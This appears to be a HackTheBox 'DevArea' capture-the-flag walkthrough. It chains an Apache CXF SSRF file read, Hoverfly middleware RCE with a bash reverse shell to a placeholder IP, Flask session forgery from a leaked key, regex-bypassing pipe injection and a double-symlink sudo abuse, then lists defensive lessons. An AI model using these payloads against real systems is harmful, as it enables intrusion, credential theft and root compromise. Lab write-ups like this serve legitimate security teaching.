A complete walkthrough of HackTheBox DevArea — chaining an Apache CXF SSRF vulnerability, Hoverfly middleware injection, Flask session forgery, command injection, and a double symlink privilege escalation to achieve full root compromise.
Difficulty: Hard | OS: Linux | Platform: Hack The Box
Attack Path: Anonymous FTP → JAR Analysis → CVE-2022-46364 (Apache CXF SSRF) → Hoverfly Credentials → CVE-2025-54123 (Hoverfly RCE) → Shell as dev_ryan → Secret Key Leak → Session Forgery → Command Injection → Double Symlink → Root
1. Reconnaissance
nmap -sC -sV -A <MACHINE-IP>
Key Findings:
- Port 21: vsftpd (Anonymous login enabled)
- Port 22: SSH
- Port 80: Apache HTTP
- Port 8080: Java/Jetty (SOAP service — Apache CXF)
- Port 8500/8888: Hoverfly proxy
echo "<MACHINE-IP> devarea.htb" | sudo tee -a /etc/hosts
2. Anonymous FTP — Downloading the JAR
Port 21 has anonymous FTP login enabled:
ftp devarea.htb
# Username: anonymous
# Password: (blank)
ftp> cd pub
ftp> ls
# employee-service.jar
ftp> get employee-service.jar
ftp> bye
3. JAR Analysis — Discovering the SOAP Endpoint
Decompile the JAR using jadx-gui:
jadx-gui employee-service.jar
Navigate to htb.devarea → ServerStarter. The decompiled code reveals:
JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
factory.setServiceClass(EmployeeService.class);
factory.setServiceBean(new EmployeeServiceImpl());
factory.setAddress("http://0.0.0.0:8080/employeeservice");
factory.create();
System.out.println("Employee Service running at http://localhost:8080/employeeservice");
System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl");
This reveals:
- The service runs on port 8080
- It uses Apache CXF (
org.apache.cxf.jaxws) - WSDL available at
/employeeservice?wsdl
Fetch the WSDL to enumerate endpoints:
curl http://devarea.htb:8080/employeeservice?wsdl
The service exposes one operation — submitReport — accepting:
-
employeeName(string) -
department(string) -
content(string) -
confidential(boolean)
4. CVE-2022-46364 — Apache CXF MTOM SSRF
From the JAR import org.apache.cxf.jaxws.JaxWsServerFactoryBean we confirmed the service runs on Apache CXF — vulnerable to CVE-2022-46364.
The import at the top of ServerStarter.java was:
import org.apache.cxf.jaxws.JaxWsServerFactoryBean;
That org.apache.cxf package name directly tells us it's Apache CXF.
What is MTOM?
MTOM (Message Transmission Optimization Mechanism) is a W3C standard for embedding binary data in SOAP messages. It uses XOP:Include elements with an href attribute pointing to the data source:
<!-- Normal use -->
<employeeName>
<xop:Include href="cid:attachment@example.com"/>
</employeeName>
The Vulnerability
Apache CXF < 3.5.5 / < 3.4.10 performs no validation on the href attribute. An attacker can point it to arbitrary local files:
<!-- Malicious -->
<employeeName>
<xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include"
href="file:///etc/passwd"/>
</employeeName>
The server fetches the file and returns its contents Base64-encoded in the SOAP response. No authentication required.
Manual Exploit
curl -X POST http://devarea.htb:8080/employeeservice \
-H 'Content-Type: multipart/related; boundary="b"' \
--data $'--b\r\nContent-Type: application/xop+xml\r\n\r\n \
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<d:submitReport xmlns:d="http://devarea.htb/">
<arg0>
<employeeName><x:Include xmlns:x="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/></employeeName>
</arg0>
</d:submitReport>
</s:Body>
</s:Envelope> \r\n--b--\r\n'
Reading the Hoverfly Service File
Since nmap revealed Hoverfly on port 8888, we try reading its systemd service file — service files are world-readable and often contain credentials. Common service file names to try:
/etc/systemd/system/hoverfly.service
/etc/systemd/system/syswatch.service
/etc/systemd/system/gunicorn.service
Extracting Hoverfly Credentials
Sending the SSRF request targeting hoverfly.service:
curl -X POST http://devarea.htb:8080/employeeservice \
-H 'Content-Type: multipart/related; boundary="b"' \
--data $'--b\r\nContent-Type: application/xop+xml\r\n\r\n \
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<d:submitReport xmlns:d="http://devarea.htb/">
<arg0>
<employeeName><x:Include xmlns:x="http://www.w3.org/2004/08/xop/include" href="file:////etc/systemd/system/hoverfly.service"/></employeeName>
</arg0>
</d:submitReport>
</s:Body>
</s:Envelope> \r\n--b--\r\n'
hoverfly.service turned out to be a valid endpoint. The SOAP response returned the service file contents Base64-encoded. Decoding it:
echo "<BASE64_HERE>" | base64 -d
The service file had credentials embedded directly in the configuration — plaintext login details for the Hoverfly dashboard.
5. CVE-2025-54123 — Hoverfly Middleware RCE
Navigate to http://devarea.htb with the extracted credentials. The dashboard reveals Hoverfly v1.11.3 — vulnerable to CVE-2025-54123, an authenticated RCE via the middleware API.
Getting the Authorization Token
Open browser DevTools → Network tab → log in and look for API requests containing an Authorization: Bearer <token> header. Copy the token.
Exploiting the Middleware API
Hoverfly allows configuring a middleware script that processes proxied requests. The middleware API accepts an arbitrary binary and script with no sanitization.
Start a listener:
nc -lnvp 4444
Inject a reverse shell:
curl -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"binary":"bash","script":"bash -i >& /dev/tcp/<YOUR-IP>/4444 0>&1"}'
Trigger the middleware by sending a request through the Hoverfly proxy:
curl "http://devarea.htb:8500" --proxy "http://devarea.htb:8888"
Shell received as dev_ryan.
cat /home/dev_ryan/user.txt
User flag captured!
6. Privilege Escalation
6.1 Enumerating the Environment
cat /etc/syswatch.env
SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SYSWATCH_LOG_DIR=/opt/syswatch/logs
SYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.db
A Flask web GUI runs on 127.0.0.1:7777. Check sudo permissions while enumerating:
sudo -l
Matching Defaults entries for dev_ryan on devarea:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty
User dev_ryan may run the following commands on devarea:
(root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh web-stop,
!/opt/syswatch/syswatch.sh web-restart
dev_ryan can run syswatch.sh as root without a password — with the exception of the web-stop and web-restart subcommands. The logs subcommand is unrestricted.
6.2 Flask Session Forgery
Flask session cookies are signed but not encrypted. With the leaked SYSWATCH_SECRET_KEY we can forge any session:
# forge.py
from flask.sessions import SecureCookieSessionInterface
from flask import Flask
app = Flask(__name__)
app.secret_key = "f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725"
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
session_data = {"user_id": 1, "username": "admin"}
forged_cookie = session_serializer.dumps(session_data)
print(forged_cookie)
python3 forge.py
# eyJ1c2VyX2lkIjox...
Verify admin access:
curl -b "session=<FORGED_COOKIE>" http://127.0.0.1:7777/
6.3 Command Injection in /service-status
The Flask app uses an incomplete regex with shell=True:
SAFE_SERVICE = re.compile(r"^[^;/\&.<>\rA-Z]*$")
res = subprocess.run(
[f"systemctl status --no-pager {service}"],
shell=True, # ← dangerous
capture_output=True, text=True, timeout=10
)
The regex blocks ;, /, &, ., <, >, uppercase — but not |. Pipe injection works:
curl -s -b "session=<FORGED_COOKIE>" \
-X POST http://127.0.0.1:7777/service-status \
-d "service=ssh | id"
# uid=1002(syswatch)
RCE as syswatch confirmed — this user can write to /opt/syswatch/logs/.
6.4 Double Symlink Attack
The vulnerability in log_message():
The syswatch-monitor timer (and syswatch.sh itself) executes plugins that call log_message() from common.sh:
log_message() {
local logfile="$1"
if [ -L "$logfile" ]; then
rm -f -- "$logfile" # removes ONE level of symlink
: > "$logfile" # creates file — follows remaining chain!
chmod 644 "$logfile"
fi
echo "$(date ...) - $msg" >> "$logfile"
}
Why double symlink bypasses the check:
[ -L "$logfile" ] only tests whether the path itself is a symlink — it does not follow the chain. With two links:
evil.log → chain.log → /root/root.txt
- Script sees
evil.logis a symlink → removes it -
: > "evil.log"recreates the name — the shell followschain.log→/root/root.txt - The privileged process now reads/writes directly into
/root/root.txt
The regex in /service-status blocks / and ., so we use printf octal escapes to construct paths without those characters.
Step 1 — Create the tracking pointer link (chain.log → /root/root.txt):
curl -s -b "session=<FORGED_COOKIE>" \
-X POST http://127.0.0.1:7777/service-status \
--data-urlencode "service=ssh | ln -sf \
$(printf '\057root\057root\056txt') \
$(printf '\057opt\057syswatch\057logs\057chain\056log')"
Step 2 — Create the primary verification link (evil.log → chain.log):
curl -s -b "session=<FORGED_COOKIE>" \
-X POST http://127.0.0.1:7777/service-status \
--data-urlencode "service=ssh | ln -sf \
$(printf 'chain\056log') \
$(printf '\057opt\057syswatch\057logs\057evil\056log')"
Step 3 — Verify the chain:
curl -s -b "session=<FORGED_COOKIE>" \
-X POST http://127.0.0.1:7777/service-status \
--data-urlencode "service=ssh | ls -la \
$(printf '\057opt\057syswatch\057logs\057')"
# evil.log -> chain.log
# chain.log -> /root/root.txt
Step 4 — Read the root flag instantly via sudo:
Rather than waiting up to 5 minutes for the background timer, we invoke syswatch.sh directly as root using the logs subcommand:
sudo /opt/syswatch/syswatch.sh logs evil.log
Why this works immediately:
When syswatch.sh logs evil.log runs, it calls the same log_message() logic — but because we invoked it with sudo, every file operation executes with full root privileges instantly. The security check inspects evil.log and sees it points to chain.log, a file inside the permitted logs directory. It passes. The script then executes cat evil.log, which the kernel resolves recursively:
evil.log → chain.log → /root/root.txt
The root flag prints directly to your terminal — no timer, no waiting.
Root flag captured!
7. Attack Chain Summary
| Step | Technique | Impact |
|---|---|---|
| Reconnaissance | Nmap | Identified FTP, SOAP service, Hoverfly |
| Anonymous FTP | Download employee-service.jar | Access to application binary |
| JAR Analysis | jadx-gui decompilation | Discovered Apache CXF SOAP endpoint |
| CVE-2022-46364 | Apache CXF MTOM SSRF | Arbitrary file read — no auth required |
| Credential Extraction | Read hoverfly.service | Hoverfly dashboard credentials |
| CVE-2025-54123 | Hoverfly middleware injection | RCE as dev_ryan |
| User Flag | Reverse shell | /home/dev_ryan/user.txt |
| Secret Leak |
/etc/syswatch.env world-readable |
Flask signing key exposed |
| Session Forgery | Flask SecureCookieSession | Admin access to internal web GUI |
| Command Injection | Pipe `\ | ` bypasses regex |
| Double Symlink | TOCTOU in log_message() | Symlink chain set up via syswatch user |
| Sudo Bypass |
syswatch.sh logs NOPASSWD rule |
Instant root read-through via sudo |
| Root Flag | Symlink read | /root/root.txt |
8. Key Vulnerabilities & Lessons
1. Anonymous FTP Enabled — Never enable anonymous FTP on production servers. It exposed the application binary which revealed the entire attack surface.
2. CVE-2022-46364 — Apache CXF SSRF (CVSS 9.8) — Upgrade to CXF ≥3.5.5 / ≥3.4.10. The SSRF provided a file read primitive that unlocked the entire attack chain.
3. Credentials in Systemd Service Files — Service files are world-readable by default. Never embed credentials directly — use systemd credential storage or a secrets manager.
4. Leaked Flask Secret Key — /etc/syswatch.env was readable by all users. A leaked signing key allows forging any Flask session cookie. Restrict env files: chmod 600 /etc/syswatch.env.
5. CVE-2025-54123 — Hoverfly Middleware Injection — The middleware API accepted arbitrary binaries and scripts with no validation. Upgrade Hoverfly and restrict API access to trusted networks only.
6. Incomplete Regex with shell=True — Denylisting injection characters always misses something — here it missed |. Always use subprocess.run(["systemctl", "status", service]) with a list to avoid shell interpretation entirely.
7. Double Symlink TOCTOU — [ -L "$logfile" ] resolves only one symlink level. Use readlink -f to fully resolve paths and validate they stay within the intended directory before any write operation.
8. Overly Permissive Sudo Rule — The NOPASSWD rule for syswatch.sh with a denylist approach (!web-stop, !web-restart) is inherently unsafe. Any subcommand not explicitly blocked — including logs — is permitted as root. Sudo rules should use an allowlist, not a denylist.
Conclusion
DevArea demonstrates a realistic multi-stage attack chain where each vulnerability enables the next:
- Anonymous FTP exposes the application binary
- Binary analysis reveals the technology stack
- Unauthenticated SSRF gives arbitrary file read
- File read exposes service credentials
- Outdated middleware with known RCE gives initial shell
- World-readable secrets enable authentication bypass
- Incomplete sanitization allows command injection
- A subtle symlink race condition combined with a permissive sudo rule leads to instant root
Every vulnerability here has been seen in real-world environments. Defense in depth — patching, least privilege, proper input handling — would have broken this chain at any link.
Have you solved DevArea? Drop your approach in the comments! Follow for more HackTheBox writeups and security research.

Top comments (0)